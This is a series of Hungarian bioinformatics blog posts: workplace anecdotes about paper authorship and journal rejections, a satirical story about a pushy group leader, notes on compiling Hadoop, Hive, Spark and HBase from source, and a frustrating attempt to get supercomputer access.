Majd jött a kézirat, ami legnagyobb megkönnyebbülésemre valahogy mégsem Nimródhoz akart bekerülni. Még kész sem volt a kézirat, de már kaptam a leveleket, hogy ne válaszoljak a sajtó kérdéseire, hanem irányítsam őket a ranglétra magasabb fokán állók felé. Gyorsan fel is szerelkeztem karókkal meg fokhagymával a lesből támadó, habzó szájú riporterek ellen. Ezeket komolyan kell venni. Ezek Nimródosok!

Közben szép lassan kibontakozott egy kisebb háború, hogy ki legyen a levelező szerző. A szarvasos csoport feje természetesen úgy érezte, hogy ő, mivel már regóta szarvassal foglalkozott. A szekvenálós csoport főnöke viszont magának akarta ezt a címet, mert nélküle még mindig PCR-el, meg arrayekkel szórakozna a másik fél. Volt ordítozás, nem-beszélés, minden, mint egy igazi szappan operában. Természetesen, ahogy minden sakk játszmában lenni szokott, itt is a gyalogok érezték a legrosszabbul magukat.

Az élet végül visszatért a szokásos medrébe. A riporterek elkerültek, a kutatók tovább dolgoztak, a gím és sika szarvasok pedig további hibridizáltak.

Korrekció:

Kaptam egy levelet, amiben a bejegyzés következő pontatlanságaira hívták fel a figyelmemet:

  1. A bioinformatikai csoport vezetője senkivel sem ordítozott, vele ordítottak.
  2. A bioinformatikai csoport vezetője nem akart egyes egyedül levelező szerző lenni, csupán megosztott levelező szerző.
  3. A bejegyzés azt sugallja, hogy az összerakott szarvas genome nem jó, de egy skót, nagy felbontású géntérképpel összehasonlítva a szekvenciák teljesen jók.
  4. Bár a poszt csak érintőlegesen említi mások munkáját, a megjelent cikk rosszul tartalmazza az említett csoportvezető hozzájárulását, mert ő rakta össze a genomot, ő találta ki a bioinformatikai pipeline-okat, és a pszeudokromoszómák összerakásának minkéntjét is.

1 komment

Címkék: publikáció

A nagy motiválás

2018.01.06. 16:15 Travis.CG

Öreg vagyok én már ehhez - gondolta Tuck az év végi csoportmegbeszélés után. Az egész egy igen furcsa e-maillel kezdődött, amiben főnöke a teljes csoportot elmarasztalta, név szerint említve minden egyes embert. Nem nehéz ilyet csinálni, ha mindenkire több feladatot osztanak. Előbb-utóbb valami lassabban fog menni. Márpedig a csoport minden tagjának több futó projektje is volt.

A levél szerint először egy megbeszélés lesz, majd utána mindenki bemutatja az aktuális futó feladatait és azok állását. Az nem volt tiszta Tuck számára, miért kell két megbeszélés, de mindegy is volt.

A megbeszélés közeledtével érezhetően növekedett a feszültség, de Tuck nyugodt volt, két okból is: Először is, az ő projektjei jól haladtak, még akkor is ha főnöke másképp látta. Volt már annyi tapasztalata, hogy tudja, milyen sebességgel kell mennie a munkájának, másrészt egyetlen korábbi munkahelyén sem volt gond a hatékonyságával. Másrészt átlátott főnökén. Ha mindenkit leszúrnak egy csoportban, akkor ott nem az egyénekkel van a hiba. Ez csak amolyan műbalhé, amit a hollywoodi filmek szigorú kiképző őrmesterei is előadnak. Amikor még zöldfülű volt, ő is bedőlt ezeknek a trükköknek, de negyvenhez közel, már unalmas volt számára,

Nem is vesztegetett túl sok időt a beszámolókra. A fiatalabbak még reménykedtek benne, hogy egy jó előadás talán csökkenti a főnök haragját.

A megbeszélés a szokásos volt. Semmit mondó cikkek unalmas előadásban. Ez részben munkatársai tapasztalatlanságának volt betudható, de Tuck esetében a tehetségtelenségnek. Valahogy mindig is képtelen volt jó kapcsolatot kialakítani a közönséggel, meg úgy általában az emberi faj más egyedeivel. Talán emiatt is fordult a matematika felé. Így sikerült egy olyan szakmát választania, amivel még jobban elhatárolta magát embertársaitól. De ez a távolság tartás segített neki abban, hogy jobban felfigyeljen a társas kapcsolatok szabályszerűségeire. A mintázatokra, ahogy ő maga hívta.

Az utolsó előadás után a hallgatók elbúcsúztak és akik maradtak, feszült csendben várták az ítéletet. Tuck azon mélázott, vajon kirobbanás vagy lassú felvezetés lesz?

- Ma rákerestem a nevemre az Entrez-én - kezdte a csoportvezető. Lassú felvezetés - gondolta Tuck. - Harminchárom cikk társszerzője vagyok ebben az évben. A legtöbbjére nem is emlékszem, azt sem tudom, hogyan kerültem bele. Ezzel szemben a csoport hat publikációt közölt idén. Ha megszüntetném a csoportot, akkor is lenne 26 cikkem.

Tuck szkeptikus volt ezzel kapcsolatban, de hallgatott. Ha a lassú felvezetést mindjárt az elején megakasztja, este tízig is itt fognak ülni.

- A célom, hogy ezt a két számot megcseréljem.

Tuck gyorsan körbenézett. Három PhD hallgató, ugyan ennyi posztdok. Ez fejenként négy cikk és egy beküldött kézirat? Három havonta egy publikáció? De mindegy is, milyen számokat hall. A lehetetlen célok kitűzésével folyamatosan nyomás alatt lehet tartani az embereket.

- Növelni kell a hatékonyságot, ez így nem mehet. Tegnap előtt is felkerestek a Központi Urológiai Képalkotó Intézettől, hogy tudunk-e tumor mintákat adni nekik. Én behazudtam nekik, hogy tudunk. De tényleg tudunk? - itt az egyik posztdokra nézett, akinek xenograft modellek előállítása volt a feladata. Eddig nem járt sikerrel.

- A halakat nehéz fenntartani. A törzseket fenn kell tartani és nincs elég hely az akváriumban.

- Felőlem befőttes üvegekben is úszkálhatnak a halak, de ha nem hazudok be nekik valamit, akkor más partnert keresnek. Megmutatták milyen mikroszkópjuk van: belelát a szövetek közé. Science cikket írtak belőle, de senki nem idézi őket, mert nem értik, mire is lehet használni. Ha be tudjuk bizonyítani, hogy a klinikai gyakorlatban is használható, akkor azt a cikket rengetegen fogják idézni. De ehhez az kell, hogy legyenek halak!

- Mi a helyzet a statisztikai elemzéssel, amit kértem? - fordult most Tuck felé.

- Egy nem-paraméteres összefüggéssel már végigszámoltam, de szerintem lehetne növelni a statisztikai erőt, ha egy másik próbával is megismételném az elemzést.

- Nem, erre nincs idő. Tapasztalatom szerint a partnerek nem várnak hónapokat. Ma este átküldjük, ami van. Ha érdekli őket és válaszolnak, akkor folytatjuk, de ha nem, akkor nem vesztegetünk több időt rá. Az is lehet, hogy mással már rég megcsináltatták.

A főnök ezek után az egyik PhD hallgató felé fordult, ak valami rejtélyes oknál fogva a kutatás mellett rengeteg adminisztrációs munkát is végzett. A csoport ugyanis tagja volt egy ipari partnereket is tömörítő konzorciumnak és mint ilyennek, rengeteg koordinációs feladatot is el kellett látni.

- A szerződés szövege elkészült?

- Angol jogi szöveget kell megfogalmaznom, ez nekem nem megy egy hét alatt.

- Csak nagyjából kell jónak lennie. Küldd tovább a cégnek, csináljanak azok is valamit. Ők majd kijavítják, vannak jogászaik.

- De akkor...

- Nem vesztegethetünk ennyi időt! Ha nem látnak valamit, kilépnek a konzorciumból és nem kapjuk meg a pénzt. Legyen náluk a labda. Ha majd mégis van további kérdésük, úgy is visszaküldik.

A hallgató megsemmisülten elhallgatott.

- Rendben, ha más nincs, akkor mindenki mehet haza. Mi meg elküldjük az eredményeket - mutatott Tuck-ra.

Miután a többiek összecsomagoltak, Tuck és felettese bementek egy irodába. A számítógépen megnyitották Tuck előadását, majd főnöke kijelölte az egészet és bemásolta egy Word dokumentumba. A betűk őrült formákat vettek fel. Az ábrák össze-vissza álltak, ahogy megpróbálták megkeresni helyüket a virtuális oldalakon. Az egész egy nagy tészta masszára emlékeztetett, de a férfi oldal törésekkel, új sor beszúrásokkal regulázni kezdte a bekezdéseket. Az egész folyamat olyan volt, mintha egy félig felfújt gumimatracot próbálna meg dobozba zárni. Valami mindig kilógott.

Végül elég új sor és oldal törés volt benne, hogy a mondatokat egy helyre szögezze. Ekkor kezdődött az igazi munka: a formázás. A szavak a mondatban betöltött fontosságuk szerint félkövérek, pirosak vagy dőltek lettek, esetleg mindegyik egy kicsit.

Azután jött az összefoglalás. A dokumentum különböző oldalain szétszórt eredményeket a mágikus billentyű kombinációval kimásolta, majd egy másik mágikus kombinációval egy helyre beszúrta újra. Ami az eredeti helyén félkövér volt, most piros lett, ami piros volt, dőltté változott, ha meg történetesen dőlt volt, félkövér lett. Ez már elég változatosság volt, hogy ne legyenek a szövegek égbekiáltóan egyformák.

- Kész! - jelentette ki a csoport vezető. Mielőtt Tuck felocsudhatott volna megdöbbenéséből, már hozzá is csatolta egy levélhez és elküldte. Csupán fél óra volt az egész.

Szólj hozzá!

Címkék: irodalom

Nehéz szülés 2

2017.12.24. 23:15 Travis.CG

Ha ez volt a nehéz szülés, akkor a mostani a farfekvéses ikrek voltak. Ha létezik elátkozott projekt, akkor ez az volt.

Természetesen ez a projekt is úgy indult, hogy "nagyon gyorsan kell az eredmény, mert a kínaiak megelőznek minket". Ha jól emlékszem, 2014 tavaszán kerestek meg minket. Kis RNS-t és transzkriptómot szekvenáltak paprikából és elég jól indult a projekt. A benthamianas munkából okulva igyekeztem a minimálisra szorítani a felesleges munkát és elkerülni az ottani baklövéseket. Ebben, a munka oroszlán részét végző PhD hallgató is nagy segítségemre volt és még azt a hálátlan feladatot is zokszó nélkül megtette, hogy pufferként működött a bioinformatikusok és a laborosok között. Kevesebb értelmetlen kérés jött és tőlem is csak azokat az eredményeket továbbította, ami 100%-os volt. Bármi bizonytalanság volt, inkább kérte, hogy nézzem át alaposabban. Nagyon jó volt vele dolgozni.

Mint minden jó dolognak, ennek is vége szakadt. Őt is utólérte a pénztelenség, ezért elment egy céghez, ahol annyira meg voltak elégedve vele, hogy próbaidő után még fizetés emelést is kapott.

Az utolsó pár hónapban nagyon keményen dolgozott, hogy minden kísérletes munkát befejezzen és elmondása alapján be is fejezett. A bioinformatikai elemzés is kész volt, megvolt a validálás is, most következett az írás. Illetve nem-írás.

Egyfajta ping-pong játék kezdődött, ahol egy halandó kéziratokat gyártott és elküldte azokat az Olümposzra, majd az Istenek félresöpörték azt. Egy ideig tartottam a kapcsolatot a PhD hallgatóval, de mikor az olyan kérdésekre, mint "hogy vagy?", a válasz a projekt alakulása volt, inkább leálltam.

Amit hallottam, az nem volt megnyugtató. Kitalálták, hogy újabb kísérletek kellenek. Egy másik PhD hallgató folytathatta a munkát. Aztán én is elhagytam az intézetet, ezért a bioinformatikai munkára is új embert kerestek, akiről olyan pletykák keringtek, hogy még a mirDeep-P-t sem tudta lefuttatni.

Én le is mondtam róla, hogy valaha cikket látok a munkából. Vagy ha lesz is valami, engem biztos kihagynak belőle. Ezért is ért váratlanul, mikor 2017 áprilisának végén kaptam egy kéziratot áttekintésre és ott virítottam a szerzők között.

Az első célpont a Journal of Experimantal Botany volt. Négy napot töltött ott a kézirat, majd visszadobták. A következő cél a Frontiers in Plant Science volt. Itt is hasonló idő elteltével dobták vissza. A kritika elég kemény volt: A cikkben nincs hipotézis és a szekvenciákat nem töltötték fel az SRA-ba. Ez utóbbi az én hibám is, nem tűnt fel a kézirat elolvasásakor.

A komment csak annyi volt: "elvaultunk". Teljes beletörődés saját tehetetlenségünkbe. El is küldték a BMC Genomics-ba. (jun 1), ahol már több, mint négy napot töltött! Három rewiever is átnézte és az egyik közös pont, amiben mindenki egyetértett, hogy két ismétlés nem elég differenciál expresszióhoz.

Őszintén szólva nem emlékszem, hogy annak idején szóltam-e emiatt. Nagy valószínűséggel nem, így a hiba halomból ez az én részem. Csak egy szánalmas kifogás jut eszembe: úgysem hallgattak volna rám.

Viszont ez egy jó lecke volt nekem arra nézve, hogy publikáció orientáltan kell gondolkodni. A kísérlet tervezésénél, ha kompromisszumot kell kötni, az nem mehet a publikálhatóság rovására.

Ezen most már hiába kesergünk. Mai eszemmel átnézve a kísérlet felépítése egy vicc. (Két genotípust szekvenáltak. Az egyiknél három szövetet, a másiknál csak egyet. Az egyiknél 28 és 40 napos minták voltak, a másiknál 14 és 20 naposak.)

Természetesen a levelezésből ismét sütött a lemondás. Nem is tudom, mi irritált a legjobban. A tény, hogy energiát vesztegettem egy mostani eszemmel nyilvánvalóan hibás kísérletbe vagy az, hogy mások milyen könnyedén elfogadják ezt.

Elkezdtem agyalni, hogyan lehet menteni a projektet. Ami nyilvánvaló volt, nem lesz új kísérlet, nem lesz új szekvenálás, csak a hozott anyagból lehet építkezni. Ha a mintákat szövet szerint csoportosítjuk, kapnánk négy ismétlést. Nem tudom, mekkora szórás lenne a különböző időpontok miatt, de egy próbát megért volna.

A felvetésemre senki nem reagált, amikor írtam a szerzőknek, csak annyi választ kaptam, hogy "nagyon dolgoznak rajta". De az eltelt idő alapján egyre valószínűbb, hogy a projekt teljesen halott.

Szólj hozzá!

Címkék: publikáció

Elefánt a fordítóban

2017.12.17. 23:31 Travis.CG

Úgy döntöttem, az otthoni rendszeremet felvértezem Hadooppal. Nem teljesen légből kapott az ötlet, meg akarom ismerni a Sparkot, amihez nem árt, ha Hadoop is van. De akkor már telepítem a Hive-ot is. Meg a HBase se maradjon ki. Mivel az életem egy viszonylag nyugodt periódusban van, úgy határoztam, mindent forráskódból rakok fel.

Ha Java alapú rendszereket fordítunk, a Maven elengedhetetlen. Telepítsük ezt is forráskódból! Ez nem olyan egyszerű, mert a Maven fordításához is Maven kell. Ha el akarjuk kerülni az önmagába harapó kígyó esetét, kompromisszumos megoldásként le kell tölteni egy bináris Mavent is. A folyamatot bootstrappingnek hívják és a GCC fordítása során már írtam róla.

A második lépés a Hadoop fordítása volt. Ez már nem ment olyan egyszerűen. Telepíteni kellett a ProtocolBuffert, szigorúan a 2.5.0-t. Ez viszont régi, a telepítő nem tudta letölteni a szükséges állományokat, mert a curl parancs egy elavult verzióját használta. Ezért átírtam a kódot wget-re. Utána már fordíthattam is a Hadoopto:

mvn package -Pdist -Pdoc -Psrc -Dtar -DskipTests

A Hive teljesen fájdalom mentesen fordult:

mvn clean package -DskipTests

A Spark már okozott némi gubancot. A fordításhoz nem raktam fel a szükséges R csomagokat, ezért többször újra kellett indítani a folyamatot. A forráskódhoz mellékelt szkript viszont remekül végezte a dolgát. Mindent fordítottam, ezért szép hosszú parancssort gépelhettem:

./dev/make-distribution.sh --name custom-spark --pip --r --tgz -Psparkr -Phadoop-2.7 -Phive -Phive-thriftserver -Pmesos -Pyarn

A HBase okozta a legnagyobb fejfájást. A standard fordítási lépések rendre kudarcba fulladtak, ráadásul a keresőbe beírva nem azok a találatok jöttek fel, amelyek segítettek a megoldásban. Végül a hibaüzenetet idézőjelekbe rakva megvolt a megoldás! A Manve 3.5.2 nem képes lefordítani a HBase-t. A fejlesztők viszont azt találták, hogy a régi Maven zokszó nélkül teszi a dolgát.

A régi Mavent csak binárisan töltöttem le, mert nem szándékoztam megtartani. Azt használva ez a komponens is fordult.

Szólj hozzá!

Címkék: hadoop

Lassú víz

2017.12.14. 23:11 Travis.CG

A blogbejegyzés olvasása közben ezt a zenét javaslom:

Az egész úgy kezdődött, hogy kértem hozzáférést a magyar szuperszámítógépekhez. Először is, ki kellett tölteni egy webes űrlapot, ami elküld egy PDF-et, amit ki kell nyomtatni, tintával aláírni és elpostázni vagy elfaxolni a NIIF-hez. Már van ebben némi rutinom, nem számítottam rá, hogy bármi bonyodalom lesz.

Először is, az egész intézetben egy darab faxgép/fénymásoló/nyomtató volt, az sem működött. Nem kapott vonalat. Egy titkárnő próbált segíteni nekem, nem sok sikerrel. Már ki akarta rá tenni a táblát, hogy rossz, amikor rövid nézelődés után észrevettem, hogy nincs bedugva a telefon kábel. Biztos ti is láttátok a reklámot: ha ennél olcsóbban adnánk, neked kéne összerakni.

Az emailben, amiben megkaptam a PDF-et, a megadott szám nem válaszolt. Még egyszer elküldtem. Beírtam a 06-t elé, kihagytam a 06-t. Semmi reakció. Persze minden egyes próbálkozás 10 perces szünetekkel ment, mert az a nyomorult gép tárcsáz, újratárcsáz, közben érkezik negyven papír, amit a gazdasági hivatal nyomtat. Végül kiköpi a szerencsétlen a jelentést, amiben közli, hogy nem sikerült.

Aztán észrevettem, hogy a PDF-ben szereplő telefonszám és az emailben megadott szám eltér. Nosza, próbáljuk ki azt is! Természetesen 06-al, anélkül, stb. Erre elment!

Egy hét múlva sem érkezett válasz. Még annyi sem, hogy megkaptuk a tetves papírjaimat. Akkor írtam egy e-mailt. Két-három nap múlva válaszoltak is, hogy megkapták az faxot és ők úgy tudják, mindkét fax szám működik. Hahaha, rosszul tudjátok.

Megint eltelt egy hét és jelezték, hogy a témaszámot elfogadták. Nagyszerű, most jön a projekt igénylés! Ezt már elméletileg a HPC portálon lehet intézni, de a valóságban nem működik. A témaszám elfogadásáról kapott email még tartalmazott egy régi linket, amit évekkel ezelőtt használtunk a hozzáférés igényléshez. Azt is kitöltöttem, kinyomtattam, faxoltam. Mivel a faxszám megegyezett azzal, ami korábban nem működött, elküldtem oda is, a másikra is, ami működött, 06-al, anélkül.

Egy hét után ismét írtam. Leírtam, hogy nem megy a portál, elküldtem a faxokat, most mi van?

A hozzáférés igénylésnél kérték, hogy becsüljem meg, mennyi erőforrást akarok használni. A Sangerben használt erőforrás igényt jelöltem meg (10T tárhely, 80GB RAM, kb. egy hét futás idő 4 processzoron). Mint később végiggondoltam, kicsit alábecsültem a szükségleteimet. De még ez is kiverte a biztosítékot náluk. Az email után kb. egy órával már kaptam egy levelet, amiben az után érdeklődtek, miért kell nekem ennyi tárhely? A processzor idő nem sok, de ezzel a rengeteg memóriával együtt nagyon szokatlan.

Szépen leírtam nekik, hogy mi, bioinformatikusok perverz vonzalmat érzünk a tömörítetlen szöveges állományok iránt, ezért kell ez a sok hely. Az R meg memóriából él. Ismét eltelt egy hét. Újabb emailt küldtem. Azt írták, tényleg nem megy a portál, kijavítják és majd válaszolnak.

Mivel nem akartam, hogy túl rámenősnek tartsanak, vártam. Eltelt egy hónap, ismét megkérdeztem, mi a helyzet. Két emailt is kaptam, olyan sebtében összedobva, hogy először azt hittem, gugli fordítóval készítette egy nigériai diktátor, hogy kimentse vagyonát az én bankszámlám segítségével. Ekkor elkezdtek dolgozni. Másnap már láttam a projektemet a portálon.

Csak bejelentkezni nem tudtam.

Újabb emailt írtam a problémáról. Bár korábban leírtam, milyen felhasználó nevet akarok, de ezt figyelmen kívül hagyták és generáltak nekem egyet. Ez a felhasználó nevem: oqqn0bf. Ha lenne benne nagy betű, még jelszó is lehetne. De ezen már nem bosszankodtam.

Jött ugyanis az újabb probléma. Nem kaptam processzor időt. Eredetileg a Debreceni gépre kértem hozzáférést, így itt akartam kipróbálni, mit tudok, de az I/O olyan lassú volt, mint egy szalagos egységnél. Kipróbáltam a Debrecen2-t, ami normális sebességgel működött. Ezért oda kértem a processzor időt.

A következő héten ismét kaptam egy levelet, hogy miért akarom én a Debrecen2-t használni, amikor az GPU-s programokra van, írjam le, milyen GPU-s programot akarok használni. Visszaírtam, hogy akkor adjanak a Debrecen1-re. Persze nem adtak. Akkor igényeltem arra a gépre is a portálon keresztül, és végre megkaptam.

Mintha nem is emberekkel kommunikálnék, hanem egy Johnny taxival. Persze futtatni továbbra sem tudok semmit, mert a lassú I/O okát nyomozzák és minden futó folyamatot felfüggesztettek.

5 komment